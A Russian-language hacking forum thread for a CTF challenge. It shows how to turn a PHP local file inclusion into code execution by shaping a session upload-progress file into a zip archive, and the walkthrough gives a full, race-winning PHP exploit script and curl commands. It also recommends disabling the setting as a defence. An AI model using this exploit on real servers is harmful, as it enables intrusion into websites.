Task # Task #8

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 15 Jun 2019.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    task8.jpg

    Добьем тему.
    Предлагается найти RCE для не очень частой, но довольно тупиковой ситуации, когда есть "голая" LFI, без возможности заливки файлов, без доступа к логам или чему-либо полезному, сессия не стартована.

    В конце прошлого года известные китайцы (тайванцы) показали, что задача решаема.
    И не то, чтобы решение было "кривое", нормальное решение, но мы сделаем круче.
    Сможем обойти более сложную проблему , когда проверяется расширение файла, или даже конкретное имя, или еще и путь до файла.

    Для минимизации времени на поиски вариантов все скрипты с сайта убраны, оставлен только один (и почищен) - не промахнетесь.
    В нем строка:
    Code:
    if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);
    
    Настройки сайта почти дефолтные, но
    Code:
    open_basedir    /var/www/:/var/lib/php/sessions:/tmp
    и порезаны исходящие соединения (без вариантов, инклюд возможен только локальный).

    Задание:
    1 - Выполнить на таргете phpinfo().
    2 - Отдельно будет оцениваться удобство эксплуатации, мы сделаем "конфетку" - надежное 100% срабатывание, без всяких гонок.

    Срок:
    две недели.


    Отлаживаться можно и локально, способы универсальные, работают и в никсах и на винде.
    Скрипт в аттаче.

    Флагов нет, присылайте решения в ПМ форума.

    И сканеры не нужны, не помогут.
    Никаких секретных каталогов, файлов - нет.
    Даже картинка тут не при делах.



    Правила остаются прежними:
    В теме не флудим, подсказки разрешены только от ТС, ответы присылаем в ПМ.

    Прошли:
    =HALK= 1, 2
    nix_security 1, 2
    Gorbachev 1, 2
    joelblack 1



    Прохождения

     

    Attached Files:

    #1 dooble, 15 Jun 2019
    Last edited: 29 Jun 2019
    fandor9, nix_security, crlf and 11 others like this.
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    По поводу тестов на локалке, проверено для php 7.
    Судя по манам, должно работать с версии 5.4, но нужно проверять.
    =
    upd
    Для 5.5.20 тоже работает, подтверждаю.
     
    #2 dooble, 16 Jun 2019
    Last edited: 16 Jun 2019
  3. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    Не знаю, как здоровый зеленый мужик попадает в клавиатуру, но в решение он попал.
    И довольно неплохо.

    nix_security тоже зарешал, реализацию еще можно допиливать, но уже вполне прилично.
    Вот даже пришлось выкатить неожиданную полторашку.
    Почти уверен - он тоже добьет.
     
  4. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    Давайте подумаем, как решать такую задачу.
    Раньше мы бы пытались сбрутить темп-файл, который создается при загрузке файла.
    Ну м.б. по сегфолту положили его не временным а постоянным.
    Надеюсь никто не будет мучить сервер таска таким поиском.
    Кстати, один наш общий знакомый недавно подтвердил работоспособность такого решения, возможно он еще отпишется, хотя именно он и заставил меня поискать альтернативное решение.

    И сегодня мы уже можем зайти с другой стороны.
    Решение складывается из трех пазлов, по двум уже даны подсказки, одна аж прям почти открытым текстом, вторая пытается быть не такой прямой, а осторожно указывает на блог Orange, который и сам по себе интересен, да еще дает нам новый механизм работы с сессиями, даже когда они не стартованы явно.
    Полезная вещь, если пропустили ее, рекомендую потестить и разобраться.
    На рдоте тоже есть подходящий пост.

    Сложив две технологии мы зарешаем первый пункт таска.
    Второй пункт - просто сделаем решение технологичным, надежным и удобнымным в эксплуатации.
     
  5. nix_security

    nix_security Member

    Joined:
    15 Feb 2019
    Messages:
    3
    Likes Received:
    5
    Reputations:
    16
    Спасибо за таск! Интересный и малоизвестный вектор.
     
  6. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    Наверное зацеплюсь за мысль и скажу такую штуку:
    Вот мы приходим в ИБ и видим много разных вещей, новых, крутых, невероятных.
    Учимся пользоваться ими.
    Но все время остается дистанция, между нами и теми, кто это ресерчил и отлаживал, наполнял содержанием то, что мы называем хакерскими технологиями.
    Они крутые, а мы только учимся.

    Но вот сейчас хороший момент, когда можно почувствовать, что мир становится "меньше" и уже не так далеко до тех, кто творит хакерскую историю.
    А может расстояния остались теми же, а мы выросли.

    В любом случае мы сейчас делаем то, что пока еще никто в мире не умеет делать.
    Никто, кроме нас.
    А мы уже научились выпиливать лобзиком хитрые архивы и сейчас из обычной сессии приготовим еще один такой.
    С нужным нам содержанием, с нужным именем.
    И не из-за ошибок в коде скриптов, а в дефолтной системе.

    Пусть это и не похек интернета, но некоторая новая технология, у которой есть потенциал, а возможно и история с продолжением.

    Поэтому предлагаю не ждать, когда появятся ответы, а найти их в составе команды первопроходцев.
     
    Gorbachev, =HALK= and joelblack like this.
  7. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    198
    Likes Received:
    669
    Reputations:
    329
    Вот за что нравятся задачки дубля, так это за то что там нет воды: вот тебе готовая, популярная проблема, реши ее. И хорошо подвел к ее решению предыдущим заданием. Осталось сложить а+б. Идеально для новичков, самый недооцененный таск.
     
    Gorbachev likes this.
  8. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
  9. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    222
    Likes Received:
    373
    Reputations:
    100
    Спасибо за таск, очень понравился, читал ресерч оранжа ранее, было интересно воспроизвести его, да еще и в купе с "штукой" из таска7)
     
    dooble likes this.
  10. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    Прохождение

    Анализ:
    Поскольку логи недоступны и на сайте нет скриптов аплоада, ищем способы сформировать файл с полезной нагрузкой.
    Open_basedir разрешает работу в /tmp и в каталоге сессий, а в каталог сайта чмоды писать не дают, да и нечем.
    Можем инициировать загрузку файла и пытаться сбрутить имя создающегося темп-файла.
    Но в конце прошлого года был обнаружен более интересный механизм, попробуем поковырять его.

    Идея:
    Можно задействовать механизм принудительного создания сессии и проинклюдить ее.
    Затею нетрудно реализовать в системе с дефолтными настройками, на рдоте тоже была заметка на эту тему, поэтому не экзотика, тестим и разбираемся - чего и как.

    Для начала смотрим маны и готовим localhost, php v. >=5.4 и для удобства временно установим
    Code:
    session.upload_progress.cleanup = Off
    это не будет очищать сессию и мы сможет исследовать содержимое.

    Отправляем запрос
    Code:
    curl http://127.0.0.1/index.php -H "Cookie: PHPSESSID=test" -F "PHP_SESSION_UPLOAD_PROGRESS=blahblahblah"  -F "file=@/tmp/up.txt"
    и получаем сессию с именем sess_test и содержимым (интересует только начало)
    Code:
    upload_progress_blahblahblah|a:5:{s:10:"start_time";i:1561714798;s:14:"content_length";i:297312;s:15:"bytes_processed";i:297312;s:4:"done";
    Где видим свою начинку blahblahblah.
    Т.е. можем вставить произвольный php-код и получаем файл с заданным именем и нужной начинкой
    Code:
    <? session_start(); ?>
    <form action="index.php" method="POST" enctype="multipart/form-data">
     <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="ZZ<?print(base64_decode('PD9waHBpbmZvKCk7Pz4='));?>Z"/>
     <input type="file" name="file"/>
     <input type="submit" />
    </form>
    
    Code:
    upload_progress_ZZ<?phpinfo();?>Z|a:5:{s:10:"start_time";i:1561718417;s:14:"content_length";i:6931748;s:15:"bytes_processed";i:6931748;s:4:
    Первая полезняшка.

    Теперь возвращаем session.upload_progress.cleanup = On
    и двигаемся дальше.

    Если бы не
    Code:
    if(isset($_GET['f']) && basename($_GET['f'])==='test.php')
    то просто проинклюдили бы сессию с заранее заданным именем, но нужно байпасить basename().
    Тут, к сожалению, известные приемы закончились и дальше придется ресерчить самим.

    Назвать сессию - 'test.php' мы не можем, точка - недопустимый символ в имени сессии.
    Поэтому вспоминаем, как в таске #7 мы работали с архивами и помещали в них нужные файлы, как продолжение файловой системы.
    И basename() будет применен уже не к файлу архива, а к этим файлам, когда мы их запросим.
    Если контролируемую часть сессии сформировать так, чтобы файл сессии стал валидным архивом, то можно проинклюдить содержимое архива, используя соответствующий враппер.

    Мысль хорошая, тестим.
    Phar не подходит по двум причинам - проверяет целостность содержимого и в имени файла обязательно должна быть точка (и хотя бы один символ после нее).
    Но вот zip нам пригодится.
    Мы уже умеем добавлять произвольный префикс к нему, да и точка в имени не обязательна.
    Аналогично можно добавить и суффикс, но этого делать не придется, потому, что есть еще одно замечательное свойство - добавление данных в конец готового архива не ломает его, он их просто игнорирует, не видит.
    И эти данные становятся частью файла, но не частью архива.
    Итого имеем неизменяемое начало файла, заголовок сессии (из которого и сформируем архив) и остальную, изменяемую часть сессии.

    И вот она - магия!
    Один и тот же файл воспринимается одновременно и как валидный архив с полезной начинкой и как файл сессии, с которым адекватно работает php.


    Остается решить третью проблему, сессия очищается по окончании загрузки файла и нужно ловить момент, когда полезная начинка существует в файле сессии.
    Если мониторить размер файла сессии, то происходит примерно следующее, пока работает скрипт загрузки.
    ---=======-----
    где:
    - сессия пуста
    = файл сессии содержит полезную начинку

    Можно просто поиграть в гонки, сгенерить много загрузок и много инклюдов, какой-нибудь да сработает.
    Можно даже один раз запустить загрузку большого файла и множеством запрсов ловить нужное состояние сессии.
    Мы примерно по этому пути и пойдем, но сделаем процесс более контролируемым и надежным.

    Реализация
    Php - однопоточный по своей природе, а нам нужно два потока запускать и контролировать, поэтому лучше использовать чего-нибудь другое.
    Хотя и тут можно скозлоумничать.
    На неблокирующих сокетах, или попробовать мультикурл.
    А давайте попробуем.

    Оказывается вполне даже работает.
    Инициируем два соединения, первое аплоадит файл, второе инклюдит сессию через враппер.
    Code:
    curl_setopt($ch1, CURLOPT_URL,$url1);
    curl_setopt($ch2, CURLOPT_URL,$url2);
    
    Приведу несколько модифицированное решение, не потому, что оно лучше, а чтобы показать, что в момент, когда мультикурл переключается между соединениями (цикл do while), мы можем выполнять некоторые дополнительные действия (проверки), что может быть полезным и в других случаях, а нам сейчас дает возможность отловить состояние, когда файл сессии содержит нужные данные.

    Code:
    <?php
    
    $fup='/tmp/up.txt';
    file_put_contents($fup,str_repeat('-=task=- ',5000));
    $u='http://task.antichat.com:10008/?f=zip:///var/lib/php/sessions/sess_task8%23/tmp/test.php';
    
    $p=[
        'PHP_SESSION_UPLOAD_PROGRESS' => getshell(),
        'file' => new CurlFile($fup),
    ];
    
    mpmc($u,$p);
    
    #===
    function mpmc($url,$post=array(), $cookie='PHPSESSID=task8') {
        $ch = curl_init();
    
        curl_setopt($ch, CURLOPT_URL,$url);
        curl_setopt($ch, CURLOPT_TIMEOUT, 18);
        curl_setopt($ch,CURLOPT_POST,1);
        curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
        curl_setopt($ch, CURLOPT_COOKIE,$cookie);
    
        $mh = curl_multi_init();
        curl_multi_add_handle($mh,$ch);
    
        $running=null;
        do {
            curl_multi_exec($mh, $running);
            $fg = @file_get_contents($url);
            if (strlen($fg)>1000) {
                echo $fg;
                die;
            }
        } while ($running > 0);
    
        curl_multi_remove_handle($mh,$ch);
        curl_multi_close($mh);
    }
    #===
    function getshell(){
        $evil_code='<?php phpinfo();?>';
        $header=ini_get("session.upload_progress.prefix");
        $footer="";
        $local_path_to_archive="/tmp/test.zip";
        $inc_file="/tmp/test.php";
    
        @unlink($local_path_to_archive);
        file_put_contents($inc_file,$evil_code);
        $zip = new ZipArchive();
        if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
            exit("could not open file $local_path_to_archive\n");
        }
        $zip->addFromString($header,"");
        $zip->setArchiveComment($footer);
        $zip->addFile($inc_file,"/tmp/test.php");
        $zip->close();
        @unlink($inc_file);
        $r=preg_replace("/$header/si", "", file_get_contents($local_path_to_archive),1);
        return $r;
    }
    
    Здесь curl_setopt($ch2, CURLOPT_URL,$url2); выпилен, поскольку в проверке уже используется file_get_contents($url), а мультикурл все-равно производит переключение, даже если второе соединение отсутствует.


    Кстати, в процессе тестов обнаружился такой момент, пустил соединение через прокси Charles и поведение сессии на сервере таска изменилось, файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки.
    Так что просто последовательное выполнение запроса загрузки и следом запроса на инклюд - работало на ура.
    Без всякого шаманства.

    Не "конфетка", но тоже интересно.
     
  11. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    Прохождения участников:



     
    #11 dooble, 29 Jun 2019
    Last edited: 29 Jun 2019
    MichelleBoxing and Gorbachev like this.
  12. Gorbachev

    Gorbachev Active Member

    Joined:
    23 Mar 2017
    Messages:
    237
    Likes Received:
    104
    Reputations:
    58
    Очень хороший таск. Как по мне, данная реализация в определенной степени зиродейная, и уж точно в паблике уникальная. Но действительно таск, и технология как уже писал Лайт, недооцененная.

    Хочу отметить несколько интересных моментов, которые я видел в процессе отладки.
    Когда решал первый пункт, я тупо воспользовался питоновским скриптом от Orange, который чутка подпилил под таск, и сначала отлаживался у себя на VPS, и в какой то момент остановив бесконечный цикл в питоновском скрипте - созданная сессия со всем содержимым перманентно осталась на сервере.
    Полагаю, речь про уже упомянутый сегфолт. Но причину его появления, и как его вызвать в нужный момент, мне кажется искать нужно более глубже, в сорцах PHP, а тут мои полномочия уже как бы всё ©

    По второму пункту, вот там уже начался хардкор. Связываться с питоном, и писать на нем решение не очень хотелось, поэтому ковырял возможности реализовать на однопоточном php, и вместо мультикурла решил воспользоваться вызовом системных команд.
    Я для удобства у себя поставил в скрипт:
    Code:
    $file = '/var/lib/php/session/sess_iamorange';
    if(file_exists($file)) { echo file_get_contents($file); }
    
    И в процессе аплоада + обращению к скрипту наблюдал содержимое sess_iamorange. В общем суть такая, что у меня на моей VPS создавалась сессия, и была доступна для инклуда всего за 2 запроса, без всяких циклов. Пример кода:
    Code:
    shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');
    
    $post = array(
    'PHP_SESSION_UPLOAD_PROGRESS' => 'any_text',
    'file' => '@/etc/passwd'
    );
    echo curl_post('http://my.vps',$post);
    
    Суть кода, посылаем через системный курл спец запрос, не дожидаемся от курла ответа, фигачим второй запрос на php курле, и наблюдаем содержимое sess_iamorange
    Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает.
    Я полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение, которое и позволило всего двумя запросами создать и проинклудить сессию. Как мне кажется, в эту сторону ещё можно поковырять, и возможно найти способ решения представленной задачи всего за 2 HTTP запроса, без всяких циклов и подгадываний размеров файла, так как посылая в одном потоке запрос:
    Code:
    shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');
    Мы всегда имеем один и тот же результат в bytes_processsed + в content_length. Да, понятное дело, что для .zip хвост неактуален, но возможно будет критичен для других реализаций чего-либо на основе принудительной сессии.
    По факту я не доковырялся до истины, и реализовал свой колхозный вариант на основе циклов + системной команды в качестве второго потока, который кое как работал.
     
  13. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    147
    Likes Received:
    394
    Reputations:
    103
    Последнее, о чем не сказали:
    Отслеживание прогресса загрузки файлов с помощью сессий - не такая уж востребованная операция, чтобы в свете обнаруженных возможностей (а есть и другие идеи использования, надо тестить) в настройках php по дефолту иметь значение session.upload_progress.enabled = On - выглядит неоправданным риском.
    И пока разработчики php еще не пришли к этому пониманию, рекомендуется на своих проектах самим выставить это значение в Off.

    При проведении аудитов и пентестов, кстати, в отчете тоже можно рекомендовать такую настройку.
     
  14. crlf

    crlf Members of Antichat

    Joined:
    18 Mar 2016
    Messages:
    495
    Likes Received:
    870
    Reputations:
    312
    "Гром не грянет, мужик не перекрестится" - негласный девиз разрабов PHP :)
     
Loading...